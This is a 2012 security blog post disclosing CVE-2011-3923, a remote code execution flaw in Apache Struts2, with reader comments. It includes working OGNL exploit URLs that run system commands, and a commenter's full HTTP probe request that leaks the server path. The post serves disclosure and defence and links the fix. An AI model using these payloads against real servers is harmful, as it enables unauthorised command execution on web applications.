Sunday, January 22, 2012

CVE-2011-3923: Yet another Struts2 Remote Code Execution

While investigating SEC Consult's Struts2 bugs (cool bugs, btw!), I've realized that due to the fact that Struts2 still allowed OGNL expression evaluation via parentheses I could evaluate OGNL expressions stored in action attributes (HTTP parameter values effectively), resulting in arbitrary code execution in Struts2 applications with default configuration (i.e. using the "params" interceptor), very similar to  CVE-2010-1870.

Expression Evaluation
So one of the OGNL's many features is expression evaluation:

(one)(two)

will evaluate one as an OGNL expression and will use its return value as another OGNL expression that it will evaluate with two as a root for the evaluation. So if one returns blah, then blah is evaluated as an OGNL statement.

CVE-2011-3923
Let's imagine we have an Action with a String parameter:

public class HelloWorldAction extends ActionSupport {
  private String foo;

  public void setFoo(String foo) {
    this.foo = foo;
  }

  public String getFoo() {
    return foo;
  }

  public String execute() throws Exception {
    return SUCCESS;
  }
}

foo is normally set via HTTP parameter, e.g. '/myaction?foo=my+string' by evaluating HTTP parameter name (foo in this case) as an OGNL statement. All HTTP parameter names in Struts2 are OGNL statements and the way Struts2 prevents users from doing scary things like modifying session or calling methods comes down to 2 things:

  • Regular expression that all HTTP parameter names are checked against and which, for example, will not allow @ or # symbols, which are needed to call static methods or modify server-side objects like #session
  • OgnlContext (#context) properties whose values are checked before invoking methods and which are set to disallow method and static method execution by default. See CVE-2010-1870 for more info.

CVE-2011-3923 is the result of ParametersInterceptor allowing parentheses and thus allowing expression evaluation, which can be exploited as follows:

/myaction?foo=<OGNL statement>&(foo)('meh')=

and here's what happens:
  1. Action attribute foo is set to the value of the foo HTTP parameter and will hold attacker's OGNL statement
  2. Second HTTP parameter named(foo)('meh')will be evaluated as an expression evaluation OGNL statement and foo action attribute will be retrieved from the action (remember we control its value via HTTP parameter) and its value will be evaluated as another OGNL statement.
Since attacker's OGNL statement is in HTTP parameter value we bypass the regular expression and are allowed to use special symbols to modify OGNL context properties to allow method execution.

Sample exploit will look as follows:

/myaction?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true

encoded:

/myaction?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWND%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

We need to ensure that foo attribute is set first, since we use its value later on. To achieve that I've used the z[(foo)('meh')]=true trick, which in this case results in foo being set first.

Fixing CVE-2011-3923

Please follow recommendations outlined in S2-009 and upgrade to 2.3.1.2.

Kudos to Maurizio Cucchiara from the Struts2 team for timely resolution of this issue!


6 comments:

  1. nice work again :)

    ReplyDelete
  2. Hello

    in short:
    In our opinion, the fix from Maurizio Cucchiara is sufficient for the default-Stack, but i.e. custom interceptors can easily (and accidentally) circumvent the fix and leaving the application vulnerable.

    The problem:
    we have tested the fix in struts2-2.3.1.2 which was done by Maurizio Cucchiara with our application.
    Surprisingly it is not working in our setup. The reason is, that the changes made at ParametersInterceptor, OgnlValueStack, OgnlUtil and so on do not prevent the dangerous parameter value to be written into the ValueStack (OgnlValueStack).
    If the application reads the ValueStack with valueStack.findValue(aKey), the parameter value is evaluated by OGNL and the code becomes executed!

    For instance: When an interceptor (or other application code) is simply reading the ValueStack like for debugging purposes, then an attack will succeed!
    Here a code snippet from our custom interceptor

    public String intercept (ActionInvocation invocation)
    throws Exception
    {
    ActionContext ac = invocation.getInvocationContext();
    ValueStack valueStack = ac.getValueStack();
    Map parameters = ac.getParameters();
    Iterator> it = parameters.entrySet().iterator();
    Entry entry = null;
    String value = null;

    for (; it.hasNext();)
    {
    entry = it.next();
    value = (String) valueStack.findValue(entry.getKey()); // <== OGNL-Expression becomes evaluated!
    if (logDebug)
    logger.debug("ValueStack [key / value]: [" + entry.getKey() + " / " + value + "]");
    }
    }

    The value from the OGNLValueStack in a attack scenario like the above mentioned would look like this:
    ValueStack [key / value]: [myParameter / (#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('notepad'))(meh)]
    (Here the Windows Notepad Application gets startet)

    Suggestion:
    In OgnlUtil.setValue(String name, Map context, Object root, Object value, boolean evalName) the parameterName name is checked to be a value expression (isEvalExpression(...)).
    Why not also check the parameter value and throw the OgnlException in that case?

    We would appreciate any suggestions to solve the problem.
    Of course the best would be an other improvement of the struts2-ognl-integration :)

    Thanks in advance
    Marcus Zander, Germany

    ReplyDelete
  3. Marcus,

    unfortunately if you are customizing this, then you are on your own. I presume Struts team could provide OgnlUtil.getValue/findValue that would forbid expression evaluation similar to the way it's done in setValue()

    ReplyDelete
    Replies
    1. Thanks Meder for your reply!

      I think it is not uncommon to use custom interceptors (thats why the interceptor stack is configurable).
      Besides, the Struts2 StrutsVariableResolver (JSF2-Plugin) also uses valueStack.findValue and might be vulnerable, too.

      Until the Struts team finds a save solution, I suggest application developers to put a custom interceptor into the interceptor stack (somewhere at the beginning), which clears the ActionContext.getParameters()-Map of keys and/or values which are containing OGNL-ValueExpressions.
      To recognize these cases you can use/copy the methods OgnlUtil.isEvalExpression(...) and ParametersInterceptor.acceptableName(...)

      kind regards,
      Marcus Zander, Germany

      Delete
  4. Hi, thanks for your excellent work.

    But I have some questions with regard to OGNL:
    1, why does meh exist? what does stand for? as in "(meh)&z[(foo)('meh')]=true"
    2, an you mentioned, to ensure that foo attribute is set first, "the z[(foo)('meh')]=true trick" is used. would you please explain why the trick work and the behind mechanism in OGNL?

    Thanks.

    ReplyDelete
  5. with the following HTTP package,

    GET /validation/submitFieldValidatorsExamples.action;jsessionid=FB3FB6BA54CA2C642A2464F9694F9571?requiredValidatorField=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23req%3D%40org.apache.struts2.ServletActionContext@getRequest(),%23rep%3D%40org.apache.struts2.ServletActionContext@getResponse(),%23webStr%3Dnew%20byte[51020],%23rep.getWriter().println(new%20java.lang.StringBuilder(%22kmneviqrgo%22).append(%22~~not_exist_in_html~~%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621~%22).toString()))%28thjp%29&z[%28requiredValidatorField%29%28%27thjp%27%29]=true HTTP/1.1


    it worked well with Struts2.3.1.1, but failed with Struts2.0.6.

    Would you please give me some point about the reason why it failed?

    thanks a lot!

    ReplyDelete